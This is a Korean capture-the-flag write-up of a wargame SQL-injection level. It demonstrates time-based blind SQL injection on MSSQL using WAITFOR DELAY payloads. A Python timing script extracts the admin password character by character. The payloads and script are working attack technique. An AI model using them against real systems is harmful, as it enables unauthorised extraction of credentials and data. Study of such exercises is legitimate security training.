yeti
이번 문제는 $result['pw'] === $_GET['pw'] 조건을 만족해야 문제 풀이가 가능하다.
이를 위해서는 블라인드 SQL 인젝션을 수행해야 할 것으로 보이는데,
오류를 발생시켜도 브라우저 상으로 달라지는 포인트는 없어 쿼리 실행 성공/실패 여부를 판단이 어려웠다.
이 때에는 블라인드 SQL 인젝션의 종파 중 하나인 시간 기반 SQL 인젝션을 수행해 볼 수 있겠다.
MSSQL 에서는 SLEEP(…) 함수 대신에 WAITFOR DELAY '0:0:3' 함수를 제공하고 있다.
사용법은 간단하다. 쿼리의 마지막 부분에서 WAITFOR DELAY 함수를 사용하면 된다.
(아래와 같이 쿼리를 작성하여 서버로 전달하면 DB에서 쿼리가 실행되며, 3초간 딜레이 후 응답을 반환한다.)

자아아아- 그럼 이제 시간 기반(Time-based) SQL 인젝션을 수행해보자
인젝션 가능한 쿼리문은 아래와 같이 작성하였다. (위와 동일하게 3초 로딩 후 브라우저에 결과가 출력된다.)
(페이로드) ?id=admin%27%20IF%20(1=1)%20WAITFOR%20DELAY%20%270:0:3%27--

이걸 토대로 다시 적당한 조건문을 삽입하면 “admin” 계정 패스워드의 길이를 알 수 있다. (16)
문제에서는 테이블명( prob_yeti )을 필터링하지 않고 있었기 때문에 바로 조건을 설정할 수 있었다.
(페이로드) ?id=admin%27%20IF%20(LEN((SELECT%20pw%20FROM%20prob_yeti%20WHERE%20id=%27admin%27))%3D16)%20WAITFOR%20DELAY%20%270:0:3%27--

이제 ASCII 함수로 “admin” 계정의 패스워드를 하나씩 추출하면 아래와 같은 결과를 얻을 수 있다.
# (페이로드) ?id=admin%27%20IF%20(ASCII(SUBSTRING((SELECT%20pw%20FROM%20prob_yeti%20WHERE%20id=%27admin%27),1,1))<128)%20WAITFOR%20DELAY%20%270:0:3%27--
import requests
import time
t_url = 'https://los.rubiya.kr/chall/yeti_e6afc70b892148ced2d1e063c1230255.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
for i in range(1, 17):
low = 1
high = 129
while low <= high:
mid = (low + high) // 2
print(low, mid, high)
payload = ( f"?id=admin%27%20IF%20(ASCII(SUBSTRING((SELECT%20pw%20FROM%20prob_yeti%20WHERE%20id=%27admin%27),{i},1))<{mid})%20WAITFOR%20DELAY%20%270:0:2%27--" )
start = time.time()
r = requests.get(t_url + payload, cookies=cookie)
end = time.time()
if (int(end - start)) > 1:
high = mid - 1
else:
low = mid + 1
if low > high:
password = password + chr(high)
numValue = numValue + str(high) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break
'''실행 결과
Extracted admins password :
[+] 102 100 56 57 97 49 99 53 97 51 50 56 101 102 55 100
[+] fd89a1c5a328ef7d
'''추출한 패스워드(fd89a1c5a328ef7d)를 파라미터(pw)에 담아 요청을 보내면 “YETI Clear!” 출력된다!

🐛.. 🐛.. 🐛..